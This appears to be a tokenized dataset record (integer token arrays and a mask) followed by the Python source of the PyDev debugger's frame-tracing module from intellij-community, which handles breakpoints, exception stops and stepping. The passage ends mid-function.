12,
490,
6170,
14,
3223,
63,
3600,
63,
475,
63,
576,
8,
2055,
18,
430,
421,
199,
318,
511,
63,
807,
63,
3223,
63,
3600,
837,
272,
327,
511,
370,
63,
576,
272,
7429,
275,
6170,
14,
2141,
7139,
4076,
14079,
272,
13377,
14,
479,
63,
1452,
16037,
7429,
14,
475,
63,
576,
1012,
339,
327,
511,
4978,
63,
3600,
63,
475,
63,
576,
272,
465,
63,
576,
275,
6170,
14,
3223,
63,
3600,
63,
475,
63,
576,
8,
2055,
9,
272,
13377,
14,
479,
63,
1452,
8,
807,
8,
267,
4978,
63,
3600,
63,
498,
628,
807,
401,
267,
4978,
63,
3600,
63,
576,
10324,
272,
2318,
267,
465,
63,
576,
9,
339,
327,
511,
1771,
436,
367,
273,
272,
7429,
18,
275,
6170,
14,
3223,
63,
3600,
63,
504,
63,
576,
8,
305,
63,
576,
9,
272,
13377,
14,
479,
63,
374,
63,
842,
8,
2055,
18,
12,
6170,
14,
2141,
7139,
4076,
9,
272,
13377,
14,
479,
63,
1452,
8,
305,
63,
576,
12,
490,
6170,
14,
3223,
63,
3600,
63,
475,
63,
576,
8,
2055,
18,
430,
421,
199,
318,
511,
63,
807,
63,
3223,
63,
3600,
63,
3629,
837,
272,
12326,
1259,
275,
6170,
14,
2141,
7139,
4076,
6700,
8,
267,
3925,
29,
1018,
14,
1296,
7139,
4076,
12,
267,
4681,
29,
1018,
14,
3493,
4076,
12,
272,
776,
272,
1031,
275,
22762,
14,
1123,
9737,
1716,
480,
5006,
531,
272,
7429,
17,
275,
12326,
1259,
6333,
1421,
582,
359,
932,
12,
1031,
467,
298,
1700,
582,
1031,
1552,
272,
7429,
18,
275,
6170,
14,
3223,
63,
3600,
423,
2141,
7139,
4076,
2532,
6700,
8,
267,
2420,
1421,
582,
6170,
14,
1296,
7139,
4076,
779,
932,
12,
1031,
2522,
268,
298,
1700,
582,
6170,
14,
3493,
4076,
8,
932,
11466,
272,
327,
511,
626,
652,
7704,
314,
1420,
1021,
272,
13377,
14,
479,
63,
1452,
8,
2055,
17,
12,
7429,
18,
9,
421,
199,
318,
511,
63,
807,
63,
3223,
63,
3600,
63,
3629,
63,
3223,
837,
272,
12326,
1259,
275,
6170,
14,
2141,
7139,
4076,
6700,
8,
267,
3925,
29,
1018,
14,
1296,
7139,
4076,
12,
267,
4681,
29,
1018,
14,
3493,
4076,
12,
272,
776,
272,
1031,
275,
22762,
14,
1123,
9737,
1716,
480,
5006,
531,
272,
315,
63,
1130,
275,
2420,
1421,
582,
359,
932,
12,
1031,
467,
298,
1700,
582,
1031,
93,
272,
7429,
275,
12326,
1259,
8,
262,
63,
1130,
9,
272,
327,
511,
626,
1275,
3223,
2529,
314,
2011,
465,
314,
1324,
272,
13377,
14,
479,
63,
1452,
8,
2055,
14,
3223,
12,
315,
63,
1130,
9,
421,
199,
318,
511,
63,
807,
63,
3223,
63,
3600,
63,
3629,
63,
12161,
837,
272,
12326,
1259,
275,
6170,
14,
2141,
7139,
4076,
6700,
8,
267,
3925,
29,
1018,
14,
1296,
7139,
4076,
12,
267,
4681,
29,
1018,
14,
3493,
4076,
12,
272,
776,
272,
1031,
275,
22762,
14,
1123,
9737,
1716,
480,
5006,
531,
272,
315,
63,
1130,
275,
2420,
1421,
582,
359,
932,
12,
1031,
467,
298,
1700,
582,
1031,
93,
272,
7429,
17,
275,
12326,
1259,
8,
262,
63,
1130,
9,
272,
7429,
18,
275,
6170,
14,
3223,
63,
3600,
63,
504,
63,
576,
8,
267,
6170,
14,
3223,
63,
3600,
63,
475,
63,
576,
8,
2055,
17,
430,
339,
13377,
14,
479,
63,
1452,
8,
2055,
17,
855,
533,
3108,
7429,
18,
855,
533,
3368,
272,
13377,
14,
479,
63,
1452,
8,
2055,
17,
855,
807,
3108,
7429,
18,
855,
807,
3368,
421,
199,
318,
511,
63,
807,
63,
3223,
63,
3600,
63,
3629,
63,
4144,
63,
3223,
837,
272,
12326,
1259,
275,
6170,
14,
2141,
7139,
4076,
6700,
8,
267,
3925,
29,
1018,
14,
1296,
7139,
4076,
12,
267,
4681,
29,
1018,
14,
3493,
4076,
12,
272,
776,
272,
1031,
275,
22762,
14,
1123,
9737,
1716,
480,
5006,
531,
272,
315,
63,
1130,
275,
2420,
1421,
582,
359,
932,
12,
1031,
9420,
272,
7429,
275,
12326,
1259,
8,
262,
63,
1130,
9,
272,
327,
511,
626,
1275,
3223,
2529,
314,
2011,
465,
314,
1324,
272,
13377,
14,
479,
63,
1452,
8,
2055,
14,
3223,
12,
315,
63,
1130,
9,
421,
199,
318,
511,
63,
807,
63,
3223,
63,
3600,
63,
3629,
63,
889,
63,
3223,
837,
272,
12326,
1259,
275,
6170,
14,
2141,
7139,
4076,
6700,
8,
267,
3925,
29,
1018,
14,
1296,
7139,
4076,
12,
267,
4681,
29,
1018,
14,
3493,
4076,
12,
272,
776,
272,
7429,
275,
12326,
1259,
8,
403,
9,
272,
327,
511,
626,
1275,
3223,
2529,
314,
2011,
465,
314,
1324,
272,
13377,
14,
479,
63,
1452,
8,
2055,
14,
3223,
12,
5009,
421,
199,
318,
511,
63,
2415,
63,
460,
63,
6929,
63,
3223,
63,
3600,
837,
272,
327,
511,
370,
63,
576,
272,
7429,
275,
6170,
14,
6300,
3325,
24121,
4076,
4038,
467,
942,
566,
272,
13377,
14,
479,
63,
1452,
6333,
2415,
582,
990,
298,
6929,
582,
28657,
7429,
14,
475,
63,
576,
1012,
339,
327,
511,
4978,
63,
3600,
63,
475,
63,
576,
272,
465,
63,
576,
275,
6170,
14,
3223,
63,
3600,
63,
475,
63,
576,
8,
2055,
9,
272,
13377,
14,
479,
63,
1452
] |
[
11354,
14,
2537,
465,
13377,
199,
504,
3123,
8143,
492,
6170,
199,
646,
3123,
8143,
199,
646,
3123,
8143,
14,
2415,
465,
22762,
421,
199,
318,
511,
63,
513,
63,
3223,
63,
3600,
837,
272,
327,
511,
370,
63,
576,
272,
7429,
275,
6170,
14,
1296,
7139,
4076,
4157,
272,
13377,
14,
479,
63,
1452,
8798,
7429,
14,
475,
63,
576,
1012,
339,
327,
511,
4978,
63,
3600,
63,
475,
63,
576,
272,
465,
63,
576,
275,
6170,
14,
3223,
63,
3600,
63,
475,
63,
576,
8,
2055,
9,
272,
13377,
14,
479,
63,
1452,
8,
807,
8,
267,
4978,
63,
3600,
63,
498,
628,
513,
401,
267,
4978,
63,
3600,
63,
576,
6034,
272,
2318,
267,
465,
63,
576,
9,
339,
327,
511,
1771,
436,
367,
273,
272,
7429,
18,
275,
6170,
14,
3223,
63,
3600,
63,
504,
63,
576,
8,
305,
63,
576,
9,
272,
13377,
14,
479,
63,
374,
63,
842,
8,
2055,
18,
12,
6170,
14,
1296,
7139,
4076,
9,
272,
13377,
14,
479,
63,
1452,
8,
305,
63,
576,
12,
490,
6170,
14,
3223,
63,
3600,
63,
475,
63,
576,
8,
2055,
18,
430,
421,
199,
318,
511,
63,
807,
63,
3223,
63,
3600,
837,
272,
327,
511,
370,
63,
576,
272,
7429,
275,
6170,
14,
2141,
7139,
4076,
14079,
272,
13377,
14,
479,
63,
1452,
16037,
7429,
14,
475,
63,
576,
1012,
339,
327,
511,
4978,
63,
3600,
63,
475,
63,
576,
272,
465,
63,
576,
275,
6170,
14,
3223,
63,
3600,
63,
475,
63,
576,
8,
2055,
9,
272,
13377,
14,
479,
63,
1452,
8,
807,
8,
267,
4978,
63,
3600,
63,
498,
628,
807,
401,
267,
4978,
63,
3600,
63,
576,
10324,
272,
2318,
267,
465,
63,
576,
9,
339,
327,
511,
1771,
436,
367,
273,
272,
7429,
18,
275,
6170,
14,
3223,
63,
3600,
63,
504,
63,
576,
8,
305,
63,
576,
9,
272,
13377,
14,
479,
63,
374,
63,
842,
8,
2055,
18,
12,
6170,
14,
2141,
7139,
4076,
9,
272,
13377,
14,
479,
63,
1452,
8,
305,
63,
576,
12,
490,
6170,
14,
3223,
63,
3600,
63,
475,
63,
576,
8,
2055,
18,
430,
421,
199,
318,
511,
63,
807,
63,
3223,
63,
3600,
63,
3629,
837,
272,
12326,
1259,
275,
6170,
14,
2141,
7139,
4076,
6700,
8,
267,
3925,
29,
1018,
14,
1296,
7139,
4076,
12,
267,
4681,
29,
1018,
14,
3493,
4076,
12,
272,
776,
272,
1031,
275,
22762,
14,
1123,
9737,
1716,
480,
5006,
531,
272,
7429,
17,
275,
12326,
1259,
6333,
1421,
582,
359,
932,
12,
1031,
467,
298,
1700,
582,
1031,
1552,
272,
7429,
18,
275,
6170,
14,
3223,
63,
3600,
423,
2141,
7139,
4076,
2532,
6700,
8,
267,
2420,
1421,
582,
6170,
14,
1296,
7139,
4076,
779,
932,
12,
1031,
2522,
268,
298,
1700,
582,
6170,
14,
3493,
4076,
8,
932,
11466,
272,
327,
511,
626,
652,
7704,
314,
1420,
1021,
272,
13377,
14,
479,
63,
1452,
8,
2055,
17,
12,
7429,
18,
9,
421,
199,
318,
511,
63,
807,
63,
3223,
63,
3600,
63,
3629,
63,
3223,
837,
272,
12326,
1259,
275,
6170,
14,
2141,
7139,
4076,
6700,
8,
267,
3925,
29,
1018,
14,
1296,
7139,
4076,
12,
267,
4681,
29,
1018,
14,
3493,
4076,
12,
272,
776,
272,
1031,
275,
22762,
14,
1123,
9737,
1716,
480,
5006,
531,
272,
315,
63,
1130,
275,
2420,
1421,
582,
359,
932,
12,
1031,
467,
298,
1700,
582,
1031,
93,
272,
7429,
275,
12326,
1259,
8,
262,
63,
1130,
9,
272,
327,
511,
626,
1275,
3223,
2529,
314,
2011,
465,
314,
1324,
272,
13377,
14,
479,
63,
1452,
8,
2055,
14,
3223,
12,
315,
63,
1130,
9,
421,
199,
318,
511,
63,
807,
63,
3223,
63,
3600,
63,
3629,
63,
12161,
837,
272,
12326,
1259,
275,
6170,
14,
2141,
7139,
4076,
6700,
8,
267,
3925,
29,
1018,
14,
1296,
7139,
4076,
12,
267,
4681,
29,
1018,
14,
3493,
4076,
12,
272,
776,
272,
1031,
275,
22762,
14,
1123,
9737,
1716,
480,
5006,
531,
272,
315,
63,
1130,
275,
2420,
1421,
582,
359,
932,
12,
1031,
467,
298,
1700,
582,
1031,
93,
272,
7429,
17,
275,
12326,
1259,
8,
262,
63,
1130,
9,
272,
7429,
18,
275,
6170,
14,
3223,
63,
3600,
63,
504,
63,
576,
8,
267,
6170,
14,
3223,
63,
3600,
63,
475,
63,
576,
8,
2055,
17,
430,
339,
13377,
14,
479,
63,
1452,
8,
2055,
17,
855,
533,
3108,
7429,
18,
855,
533,
3368,
272,
13377,
14,
479,
63,
1452,
8,
2055,
17,
855,
807,
3108,
7429,
18,
855,
807,
3368,
421,
199,
318,
511,
63,
807,
63,
3223,
63,
3600,
63,
3629,
63,
4144,
63,
3223,
837,
272,
12326,
1259,
275,
6170,
14,
2141,
7139,
4076,
6700,
8,
267,
3925,
29,
1018,
14,
1296,
7139,
4076,
12,
267,
4681,
29,
1018,
14,
3493,
4076,
12,
272,
776,
272,
1031,
275,
22762,
14,
1123,
9737,
1716,
480,
5006,
531,
272,
315,
63,
1130,
275,
2420,
1421,
582,
359,
932,
12,
1031,
9420,
272,
7429,
275,
12326,
1259,
8,
262,
63,
1130,
9,
272,
327,
511,
626,
1275,
3223,
2529,
314,
2011,
465,
314,
1324,
272,
13377,
14,
479,
63,
1452,
8,
2055,
14,
3223,
12,
315,
63,
1130,
9,
421,
199,
318,
511,
63,
807,
63,
3223,
63,
3600,
63,
3629,
63,
889,
63,
3223,
837,
272,
12326,
1259,
275,
6170,
14,
2141,
7139,
4076,
6700,
8,
267,
3925,
29,
1018,
14,
1296,
7139,
4076,
12,
267,
4681,
29,
1018,
14,
3493,
4076,
12,
272,
776,
272,
7429,
275,
12326,
1259,
8,
403,
9,
272,
327,
511,
626,
1275,
3223,
2529,
314,
2011,
465,
314,
1324,
272,
13377,
14,
479,
63,
1452,
8,
2055,
14,
3223,
12,
5009,
421,
199,
318,
511,
63,
2415,
63,
460,
63,
6929,
63,
3223,
63,
3600,
837,
272,
327,
511,
370,
63,
576,
272,
7429,
275,
6170,
14,
6300,
3325,
24121,
4076,
4038,
467,
942,
566,
272,
13377,
14,
479,
63,
1452,
6333,
2415,
582,
990,
298,
6929,
582,
28657,
7429,
14,
475,
63,
576,
1012,
339,
327,
511,
4978,
63,
3600,
63,
475,
63,
576,
272,
465,
63,
576,
275,
6170,
14,
3223,
63,
3600,
63,
475,
63,
576,
8,
2055,
9,
272,
13377,
14,
479,
63,
1452,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
signed/intellij-community
|
python/helpers/pydev/_pydevd_bundle/pydevd_frame.py
|
3
|
37703
|
import linecache
import os.path
import re
import sys
import traceback # @Reimport
from _pydev_bundle import pydev_log
from _pydevd_bundle import pydevd_dont_trace
from _pydevd_bundle import pydevd_vars
from _pydevd_bundle.pydevd_breakpoints import get_exception_breakpoint
from _pydevd_bundle.pydevd_comm import CMD_STEP_CAUGHT_EXCEPTION, CMD_STEP_RETURN, CMD_STEP_OVER, CMD_SET_BREAK, \
CMD_STEP_INTO, CMD_SMART_STEP_INTO, CMD_RUN_TO_LINE, CMD_SET_NEXT_STATEMENT, CMD_STEP_INTO_MY_CODE
from _pydevd_bundle.pydevd_constants import STATE_SUSPEND, dict_contains, get_thread_id, STATE_RUN, dict_iter_values, IS_PY3K, \
dict_keys, RETURN_VALUES_DICT
from _pydevd_bundle.pydevd_dont_trace_files import DONT_TRACE, PYDEV_FILE
from _pydevd_bundle.pydevd_frame_utils import add_exception_to_frame, just_raised
from _pydevd_bundle.pydevd_utils import get_clsname_for_code
from pydevd_file_utils import get_abs_path_real_path_and_base_from_frame
try:
from inspect import CO_GENERATOR
except:
CO_GENERATOR = 0
try:
from _pydevd_bundle.pydevd_signature import send_signature_call_trace, send_signature_return_trace
except ImportError:
def send_signature_call_trace(*args, **kwargs):
pass
basename = os.path.basename
IGNORE_EXCEPTION_TAG = re.compile('[^#]*#.*@IgnoreException')
DEBUG_START = ('pydevd.py', 'run')
DEBUG_START_PY3K = ('_pydev_execfile.py', 'execfile')
TRACE_PROPERTY = 'pydevd_traceproperty.py'
get_file_type = DONT_TRACE.get
#=======================================================================================================================
# PyDBFrame
#=======================================================================================================================
# IFDEF CYTHON
# cdef class PyDBFrame:
# ELSE
class PyDBFrame:
'''This makes the tracing for a given frame, so, the trace_dispatch
is used initially when we enter into a new context ('call') and then
is reused for the entire context.
'''
# ENDIF
#Note: class (and not instance) attributes.
#Same thing in the main debugger but only considering the file contents, while the one in the main debugger
#considers the user input (so, the actual result must be a join of both).
filename_to_lines_where_exceptions_are_ignored = {}
filename_to_stat_info = {}
# IFDEF CYTHON
# cdef tuple _args
# cdef int should_skip
# def __init__(self, tuple args):
# self._args = args # In the cython version we don't need to pass the frame
# self.should_skip = -1 # On cythonized version, put in instance.
# ELSE
should_skip = -1 # Default value in class (put in instance on set).
def __init__(self, args):
#args = main_debugger, filename, base, info, t, frame
#yeap, much faster than putting in self and then getting it from self later on
self._args = args
# ENDIF
def set_suspend(self, *args, **kwargs):
self._args[0].set_suspend(*args, **kwargs)
def do_wait_suspend(self, *args, **kwargs):
self._args[0].do_wait_suspend(*args, **kwargs)
# IFDEF CYTHON
# def trace_exception(self, frame, str event, arg):
# cdef bint flag;
# ELSE
def trace_exception(self, frame, event, arg):
# ENDIF
if event == 'exception':
flag, frame = self.should_stop_on_exception(frame, event, arg)
if flag:
self.handle_exception(frame, event, arg)
return self.trace_dispatch
return self.trace_exception
def trace_return(self, frame, event, arg):
if event == 'return':
main_debugger, filename = self._args[0], self._args[1]
send_signature_return_trace(main_debugger, frame, filename, arg)
return self.trace_return
# IFDEF CYTHON
# def should_stop_on_exception(self, frame, str event, arg):
# cdef PyDBAdditionalThreadInfo info;
# cdef bint flag;
# ELSE
def should_stop_on_exception(self, frame, event, arg):
# ENDIF
# main_debugger, _filename, info, _thread = self._args
main_debugger = self._args[0]
info = self._args[2]
flag = False
# STATE_SUSPEND = 2
if info.pydev_state != 2: #and breakpoint is not None:
exception, value, trace = arg
if trace is not None: #on jython trace is None on the first event
exception_breakpoint = get_exception_breakpoint(
exception, main_debugger.break_on_caught_exceptions)
if exception_breakpoint is not None:
if exception_breakpoint.ignore_libraries:
if exception_breakpoint.notify_on_first_raise_only:
if main_debugger.first_appearance_in_scope(trace):
add_exception_to_frame(frame, (exception, value, trace))
try:
info.pydev_message = exception_breakpoint.qname
except:
info.pydev_message = exception_breakpoint.qname.encode('utf-8')
flag = True
else:
pydev_log.debug("Ignore exception %s in library %s" % (exception, frame.f_code.co_filename))
flag = False
else:
if not exception_breakpoint.notify_on_first_raise_only or just_raised(trace):
add_exception_to_frame(frame, (exception, value, trace))
try:
info.pydev_message = exception_breakpoint.qname
except:
info.pydev_message = exception_breakpoint.qname.encode('utf-8')
flag = True
else:
flag = False
else:
try:
if main_debugger.plugin is not None:
result = main_debugger.plugin.exception_break(main_debugger, self, frame, self._args, arg)
if result:
flag, frame = result
except:
flag = False
return flag, frame
def handle_exception(self, frame, event, arg):
try:
# print 'handle_exception', frame.f_lineno, frame.f_code.co_name
# We have 3 things in arg: exception type, description, traceback object
trace_obj = arg[2]
main_debugger = self._args[0]
if not hasattr(trace_obj, 'tb_next'):
return #Not always there on Jython...
initial_trace_obj = trace_obj
if trace_obj.tb_next is None and trace_obj.tb_frame is frame:
#I.e.: tb_next should be only None in the context it was thrown (trace_obj.tb_frame is frame is just a double check).
if main_debugger.break_on_exceptions_thrown_in_same_context:
#Option: Don't break if an exception is caught in the same function from which it is thrown
return
else:
#Get the trace_obj from where the exception was raised...
while trace_obj.tb_next is not None:
trace_obj = trace_obj.tb_next
if main_debugger.ignore_exceptions_thrown_in_lines_with_ignore_exception:
for check_trace_obj in (initial_trace_obj, trace_obj):
filename = get_abs_path_real_path_and_base_from_frame(check_trace_obj.tb_frame)[1]
filename_to_lines_where_exceptions_are_ignored = self.filename_to_lines_where_exceptions_are_ignored
lines_ignored = filename_to_lines_where_exceptions_are_ignored.get(filename)
if lines_ignored is None:
lines_ignored = filename_to_lines_where_exceptions_are_ignored[filename] = {}
try:
curr_stat = os.stat(filename)
curr_stat = (curr_stat.st_size, curr_stat.st_mtime)
except:
curr_stat = None
last_stat = self.filename_to_stat_info.get(filename)
if last_stat != curr_stat:
self.filename_to_stat_info[filename] = curr_stat
lines_ignored.clear()
try:
linecache.checkcache(filename)
except:
#Jython 2.1
linecache.checkcache()
from_user_input = main_debugger.filename_to_lines_where_exceptions_are_ignored.get(filename)
if from_user_input:
merged = {}
merged.update(lines_ignored)
#Override what we have with the related entries that the user entered
merged.update(from_user_input)
else:
merged = lines_ignored
exc_lineno = check_trace_obj.tb_lineno
# print ('lines ignored', lines_ignored)
# print ('user input', from_user_input)
# print ('merged', merged, 'curr', exc_lineno)
if not dict_contains(merged, exc_lineno): #Note: check on merged but update lines_ignored.
try:
line = linecache.getline(filename, exc_lineno, check_trace_obj.tb_frame.f_globals)
except:
#Jython 2.1
line = linecache.getline(filename, exc_lineno)
if IGNORE_EXCEPTION_TAG.match(line) is not None:
lines_ignored[exc_lineno] = 1
return
else:
#Put in the cache saying not to ignore
lines_ignored[exc_lineno] = 0
else:
#Ok, dict has it already cached, so, let's check it...
if merged.get(exc_lineno, 0):
return
thread = self._args[3]
try:
frame_id_to_frame = {}
frame_id_to_frame[id(frame)] = frame
f = trace_obj.tb_frame
while f is not None:
frame_id_to_frame[id(f)] = f
f = f.f_back
f = None
thread_id = get_thread_id(thread)
pydevd_vars.add_additional_frame_by_id(thread_id, frame_id_to_frame)
try:
main_debugger.send_caught_exception_stack(thread, arg, id(frame))
self.set_suspend(thread, CMD_STEP_CAUGHT_EXCEPTION)
self.do_wait_suspend(thread, frame, event, arg)
main_debugger.send_caught_exception_stack_proceeded(thread)
finally:
pydevd_vars.remove_additional_frame_by_id(thread_id)
except:
traceback.print_exc()
main_debugger.set_trace_for_frame_and_parents(frame)
finally:
#Clear some local variables...
trace_obj = None
initial_trace_obj = None
check_trace_obj = None
f = None
frame_id_to_frame = None
main_debugger = None
thread = None
def get_func_name(self, frame):
code_obj = frame.f_code
func_name = code_obj.co_name
try:
cls_name = get_clsname_for_code(code_obj, frame)
if cls_name is not None:
return "%s.%s" % (cls_name, func_name)
else:
return func_name
except:
traceback.print_exc()
return func_name
def manage_return_values(self, main_debugger, frame, event, arg):
def get_func_name(frame):
code_obj = frame.f_code
func_name = code_obj.co_name
try:
cls_name = get_clsname_for_code(code_obj, frame)
if cls_name is not None:
return "%s.%s" % (cls_name, func_name)
else:
return func_name
except:
traceback.print_exc()
return func_name
try:
if main_debugger.show_return_values:
if event == "return" and hasattr(frame, "f_code") and hasattr(frame.f_code, "co_name"):
if hasattr(frame, "f_back") and hasattr(frame.f_back, "f_locals"):
if RETURN_VALUES_DICT not in dict_keys(frame.f_back.f_locals):
frame.f_back.f_locals[RETURN_VALUES_DICT] = {}
name = get_func_name(frame)
frame.f_back.f_locals[RETURN_VALUES_DICT][name] = arg
if main_debugger.remove_return_values_flag:
# Showing return values was turned off, we should remove them from locals dict.
# The values can be in the current frame or in the back one
if RETURN_VALUES_DICT in dict_keys(frame.f_locals):
frame.f_locals.pop(RETURN_VALUES_DICT)
if hasattr(frame, "f_back") and hasattr(frame.f_back, "f_locals"):
if RETURN_VALUES_DICT in dict_keys(frame.f_back.f_locals):
frame.f_back.f_locals.pop(RETURN_VALUES_DICT)
main_debugger.remove_return_values_flag = False
except:
main_debugger.remove_return_values_flag = False
traceback.print_exc()
# IFDEF CYTHON
# cpdef trace_dispatch(self, frame, str event, arg):
# cdef str filename;
# cdef bint is_exception_event;
# cdef bint has_exception_breakpoints;
# cdef bint can_skip;
# cdef PyDBAdditionalThreadInfo info;
# cdef int step_cmd;
# cdef int line;
# cdef bint is_line;
# cdef bint is_call;
# cdef bint is_return;
# cdef str curr_func_name;
# cdef bint exist_result;
# cdef dict frame_skips_cache;
# cdef tuple frame_cache_key;
# cdef tuple line_cache_key;
# cdef int breakpoints_in_line_cache;
# cdef int breakpoints_in_frame_cache;
# cdef bint has_breakpoint_in_frame;
# ELSE
def trace_dispatch(self, frame, event, arg):
# ENDIF
main_debugger, filename, info, thread, frame_skips_cache, frame_cache_key = self._args
# print('frame trace_dispatch', frame.f_lineno, frame.f_code.co_name, event, info.pydev_step_cmd)
try:
info.is_tracing = True
line = frame.f_lineno
line_cache_key = (frame_cache_key, line)
if main_debugger._finish_debugging_session:
return None
plugin_manager = main_debugger.plugin
is_exception_event = event == 'exception'
has_exception_breakpoints = main_debugger.break_on_caught_exceptions or main_debugger.has_plugin_exception_breaks
if is_exception_event:
if has_exception_breakpoints:
flag, frame = self.should_stop_on_exception(frame, event, arg)
if flag:
self.handle_exception(frame, event, arg)
return self.trace_dispatch
is_line = False
is_return = False
is_call = False
else:
is_line = event == 'line'
is_return = event == 'return'
is_call = event == 'call'
if not is_line and not is_return and not is_call:
# I believe this can only happen in jython on some frontiers on jython and java code, which we don't want to trace.
return None
need_trace_return = False
if is_call and main_debugger.signature_factory:
need_trace_return = send_signature_call_trace(main_debugger, frame, filename)
if is_return and main_debugger.signature_factory:
send_signature_return_trace(main_debugger, frame, filename, arg)
stop_frame = info.pydev_step_stop
step_cmd = info.pydev_step_cmd
if is_exception_event:
breakpoints_for_file = None
# CMD_STEP_OVER = 108
if stop_frame and stop_frame is not frame and step_cmd == 108 and \
arg[0] in (StopIteration, GeneratorExit) and arg[2] is None:
info.pydev_step_cmd = 107 # CMD_STEP_INTO = 107
info.pydev_step_stop = None
else:
# If we are in single step mode and something causes us to exit the current frame, we need to make sure we break
# eventually. Force the step mode to step into and the step stop frame to None.
# I.e.: F6 in the end of a function should stop in the next possible position (instead of forcing the user
# to make a step in or step over at that location).
# Note: this is especially troublesome when we're skipping code with the
# @DontTrace comment.
if stop_frame is frame and is_return and step_cmd in (109, 108): # CMD_STEP_RETURN = 109, CMD_STEP_OVER = 108
if not frame.f_code.co_flags & 0x20: # CO_GENERATOR = 0x20 (inspect.CO_GENERATOR)
info.pydev_step_cmd = 107 # CMD_STEP_INTO = 107
info.pydev_step_stop = None
breakpoints_for_file = main_debugger.breakpoints.get(filename)
can_skip = False
if info.pydev_state == 1: # STATE_RUN = 1
#we can skip if:
#- we have no stop marked
#- we should make a step return/step over and we're not in the current frame
# CMD_STEP_RETURN = 109, CMD_STEP_OVER = 108
can_skip = (step_cmd == -1 and stop_frame is None) \
or (step_cmd in (109, 108) and stop_frame is not frame)
if can_skip:
if plugin_manager is not None and main_debugger.has_plugin_line_breaks:
can_skip = not plugin_manager.can_not_skip(main_debugger, self, frame)
# CMD_STEP_OVER = 108
if can_skip and is_return and main_debugger.show_return_values and info.pydev_step_cmd == 108 and frame.f_back is info.pydev_step_stop:
# trace function for showing return values after step over
can_skip = False
if main_debugger.frame_eval_func and event == 'return' and info.pydev_step_cmd == -1:
frames_set = main_debugger.disable_tracing_after_exit_frames.get(get_thread_id(thread), None)
if frames_set is not None:
if frame in frames_set:
frames_set.remove(frame)
if len(frames_set) == 0:
# there were some frames, but we exited all of them, stop tracing
main_debugger.disable_tracing_after_exit_frames.pop(get_thread_id(thread))
main_debugger.SetTrace(None)
# Let's check to see if we are in a function that has a breakpoint. If we don't have a breakpoint,
# we will return nothing for the next trace
# also, after we hit a breakpoint and go to some other debugging state, we have to force the set trace anyway,
# so, that's why the additional checks are there.
if not breakpoints_for_file:
if can_skip:
if has_exception_breakpoints:
return self.trace_exception
else:
if need_trace_return:
return self.trace_return
else:
return None
else:
# When cached, 0 means we don't have a breakpoint and 1 means we have.
if can_skip:
breakpoints_in_line_cache = frame_skips_cache.get(line_cache_key, -1)
if breakpoints_in_line_cache == 0:
return self.trace_dispatch
breakpoints_in_frame_cache = frame_skips_cache.get(frame_cache_key, -1)
if breakpoints_in_frame_cache != -1:
# Gotten from cache.
has_breakpoint_in_frame = breakpoints_in_frame_cache == 1
else:
has_breakpoint_in_frame = False
# Checks the breakpoint to see if there is a context match in some function
curr_func_name = frame.f_code.co_name
#global context is set with an empty name
if curr_func_name in ('?', '<module>'):
curr_func_name = ''
for breakpoint in dict_iter_values(breakpoints_for_file): #jython does not support itervalues()
#will match either global or some function
if breakpoint.func_name in ('None', curr_func_name):
has_breakpoint_in_frame = True
break
# Cache the value (1 or 0 or -1 for default because of cython).
if has_breakpoint_in_frame:
frame_skips_cache[frame_cache_key] = 1
else:
frame_skips_cache[frame_cache_key] = 0
if can_skip and not has_breakpoint_in_frame:
if has_exception_breakpoints:
return self.trace_exception
else:
if need_trace_return:
return self.trace_return
else:
return None
#We may have hit a breakpoint or we are already in step mode. Either way, let's check what we should do in this frame
#print('NOT skipped', frame.f_lineno, frame.f_code.co_name, event)
try:
flag = False
#return is not taken into account for breakpoint hit because we'd have a double-hit in this case
#(one for the line and the other for the return).
stop_info = {}
breakpoint = None
exist_result = False
stop = False
bp_type = None
if not is_return and info.pydev_state != STATE_SUSPEND and breakpoints_for_file is not None and dict_contains(breakpoints_for_file, line):
breakpoint = breakpoints_for_file[line]
new_frame = frame
stop = True
if step_cmd == CMD_STEP_OVER and stop_frame is frame and (is_line or is_return):
stop = False #we don't stop on breakpoint if we have to stop by step-over (it will be processed later)
elif plugin_manager is not None and main_debugger.has_plugin_line_breaks:
result = plugin_manager.get_breakpoint(main_debugger, self, frame, event, self._args)
if result:
exist_result = True
flag, breakpoint, new_frame, bp_type = result
if breakpoint:
#ok, hit breakpoint, now, we have to discover if it is a conditional breakpoint
# lets do the conditional stuff here
if stop or exist_result:
condition = breakpoint.condition
if condition is not None:
try:
val = eval(condition, new_frame.f_globals, new_frame.f_locals)
if not val:
return self.trace_dispatch
except:
if type(condition) != type(''):
